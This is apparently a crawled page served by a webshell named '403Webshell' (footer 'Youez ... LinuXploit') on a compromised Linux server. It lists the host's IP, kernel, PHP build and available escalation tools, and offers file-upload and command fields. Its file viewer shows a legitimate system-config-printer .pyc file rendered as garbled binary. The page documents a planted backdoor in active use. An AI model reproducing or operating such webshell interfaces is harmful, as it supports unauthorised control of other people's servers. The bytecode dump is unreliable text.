403Webshell
Server IP : 209.205.66.10  /  Your IP : 216.73.216.173
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ammon 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User :  ( 1006)
PHP Version : 8.5.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/system-config-printer/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/system-config-printer/__pycache__/dnssdresolve.cpython-310.pyc
o

3�b��@s�ddlZddlZddlZddlTGdd�d�Zedkr^Gdd�d�Ze�e�d�Zdd	l	m
Z
e
d
d�Gdd
�d
�Zddlm
Z
ddlmZe
��Zed
�e�eee�j�e��dSdS)�N)�*c@s<eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
S)�DNSSDHostNamesResolvercCs&||_t|�|_i|_td|�dS)Nz+%s)�_devices�len�_unresolved�_device_uri_by_name�
debugprint)�self�devices�r�0/usr/share/system-config-printer/dnssdresolve.py�__init__s
zDNSSDHostNamesResolver.__init__cCstd|�dS)Nz-%s)r�r	rrr�__del__ szDNSSDHostNamesResolver.__del__c
sN|�_t��}|s|g��`�`dS�j��D]�\�}��d�s)�jd8_qtj�	��}|j
}|�dd�}t|�dkrC��
�q|\}}}	}
tj�|�}|d|	7}z0|�dd�}t�|d�}��j|||
f<td	|�|jd
d
|||
d
d�j��fdd
�d�	Wqtjy�}
ztdt|
����
�WYd}
~
qd}
~
wwdS)Nzdnssd://��.��zorg.freedesktop.Avahi�/zorg.freedesktop.Avahi.ServerzResolving address for %s���rcs���|�S�N)�_error)�e�r	�urirr�<lambda>Jsz0DNSSDHostNamesResolver.resolve.<locals>.<lambda>)�
reply_handler�
error_handlerzFailed to resolve address: %s)�_reply_handler�dbus�	SystemBusr�items�
startswithr�urllib�parse�urlparse�netloc�rsplitr�	_resolved�unquote�
get_object�	Interfacerr�ResolveService�_reply�
DBusException�repr)r	r�bus�device�result�hostname�elements�name�stype�protocol�domain�obj�serverrrrr�resolve#sN
�
����zDNSSDHostNamesResolver.resolvecCs<|jd8_|jdkrtd�|�|j�|`|`dSdS)NrrzAll addresses resolved)rrrrrrrrr(Ps
�z DNSSDHostNamesResolver._resolvedcCsh|j|||f}||j|_|}
|
�d�}|dkr|
d|�}
td|||
f�|
|j|_|��dS)Nrrz%s is at %s (%s))rr�address�findrr3r()r	�	interfacer7r5r6r8�host�	aprotocolr<�port�txt�flagsrr3�prrrr-Xs
zDNSSDHostNamesResolver._replycCs td|t|�f�|��dS)NzError resolving %s: %s)rr/r()r	r�errorrrrrdszDNSSDHostNamesResolver._errorN)	�__name__�
__module__�__qualname__r
rr;r(r-rrrrrrs-r�__main__c@seZdZdd�ZdS)�DevicecCszd|jWSYdS)Nz
<Device @ %s>z<Device>)r<rrrr�__repr__jszDevice.__repr__N)rFrGrHrKrrrrrJisrJ)z*dnssd://dlk-08E206-P1._printer._tcp.local/z dnssd://foo._printer._tcp.local/)�
DBusGMainLoopT)�set_as_defaultc@s$eZdZdd�Zdd�Zdd�ZdS)�TestcCs||_||_dSr)�_loopr)r	�loopr
rrrr
vs
z
Test.__init__cCst|j�}|j|jd�dS)N)rF)rrr;�reply)r	�rrrr�runzs
zTest.runcGst|�|j��dSr)�printrO�quit)r	�argsrrrrQsz
Test.replyN)rFrGrHr
rSrQrrrrrNusrN)�GObject)�GLib)r�re�urllib.parser#�debugrrFrJr
�	dbus.glibrLrN�
gi.repositoryrWrX�MainLooprP�
set_debugging�idle_addrSrrrr�<module>s&O�
�

Youez - 2016 - github.com/yon3zu
LinuXploit